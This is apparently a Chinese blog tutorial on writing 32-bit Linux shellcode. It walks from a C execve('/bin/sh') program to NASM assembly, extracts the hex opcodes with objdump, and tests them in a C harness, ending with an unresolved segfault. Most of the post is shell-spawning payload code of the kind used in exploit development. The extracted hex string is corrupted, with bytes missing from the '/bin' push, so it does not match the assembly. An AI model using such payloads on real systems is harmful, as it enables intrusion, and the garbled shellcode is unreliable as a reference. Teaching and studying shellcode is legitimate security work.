shellcode编写

1.前言

漏洞利用最重要的就是shellcode的编写,漏洞发现者在漏洞发现之初并不会给出完整的shellcode,所以我们要学会自己编写shellcode。

注:shellcode中不能出现NULL和/x00,存在其一再利用的时候会被截断。

2.什么是Shellcode

shellcode是用作利用软件漏洞的有效载荷的一小段代码,因为它通常启动一个命令shell,攻击者可以从中控制受攻击的机器,所以称他为shellcode。但是任何执行类似任务的代码都可以称为shellcode。 因为有效载荷的功能不仅限于一个shell。

shellcode基本的编写方式有以下三种:

① 直接编写十六进制操作码。

② 使用c语言编写程序,然后进行编译,最后进行反汇编来获取汇编指令和十六进制操作码。

③ 编写汇编程序,将该程序汇编,然后从二进制中提取十六进制操作码。

第一种方法很极端,直接编写十六进制操作码是一件非常难得事情。下面我将带大家一步步去编写自己的shellcode。

3.execve系统调用

在Linux系统上执行程序的方式有多种,但是其中使用最广泛的一种方式就是通过借助execve系统调用。32位linux内核的系统调用表可以通过网站来查询,我们这里获得shell只需用到execve函数,我们首先来看看execve的使用方法。

这里execve函数系统调用号为11,图中也给出了对应寄存器中保存的参数值。

c语言实现execve系统调用创建shell

#include <unistd.h>

int main()
{
    char * shell[2];
    shell[0]="/bin/sh";
    shell[1]=NULL;
    execve(shell[0],shell,NULL);
}

然后我们使用gcc编译器来编译一下:

gcc 4.c -o 4

成功执行创建一个shell。

转向汇编语言

前面我们已经使用c语言来实现了,现在我们就需要用汇编语言来重写execve系统调用,其实很简单。我们先来查看一下execve系统调用号:11

汇编代码重写:

首先我们将寄存器eax清零。

xor eax,eax

然后我们将寄存器eax进行入栈操作,其实就是将字符串末尾的空字符值入栈:

push eax

然后将//sh入栈(由于需要对齐,因此这里用了四个字节)第一个参数

push 0x68732f2f

最后将/bin入栈。

push 0x6e69622f

现在栈上已经有了全部所需数据,现在就是设置execve系统调用了。将/bin//sh存放到EBX寄存器,第2个参数

mov ebx,esp

压4字节的NULL,第3个参数,环境变量为 NULL

push eax
push ebx

把EBX地址存入ECX寄存器

mov ecx,esp
xor edx,edx
mov al,0xb  ;0xb表示其系统调用号的十六进制,execve的系统调用号为11
int 0x80    ;int 0x80软中断是系统中断,根据中断号和相关寄存器设置调用对应系统函数

完整代码如下:

section .text
global _start

_start:
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
push eax
push ebx
mov ecx,esp
xor edx,edx
mov al,0xb
int 0x80

编译链接

首先使用nasm进行汇编

nasm -f elf 2.asm

(如果未安装nasm,通过sudo apt-get install nasm安装)

然后使用ld链接

ld -o 2 2.o

(提示不兼容的话用ld -m elf_i386 -o 2 2.o)

运行测试看看

4.提取十六进制操作码并测试Shellcode

用objdump工具的-d选项进行反汇编即可:

输入命令:

objdump -d 2

得到shellcode:”\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2\x6\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”;

测试shellcode

首先我们将十六进制操作码放入一个名为shellcode[]的缓冲区中。

#include <stdio.h>

char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2\x6\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";

int main()
{
    void (*fp) (void);
    fp=(void *)shellcode;
    fp();
}

然后通过gcc编译,测试,但是出现了段错误这种情况,上网查了一下,说是因为系统本身有数据区执行保护机制,导致在全局数据段的shellcode不能被运行,即出现段错误。

这里我们先安装一下execstack。

sudo apt-get install execstack

然后针对编译后的程序使用execstack

execstack -s 程序名

可是弄完之后仍然是段错误,不知道为啥!

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值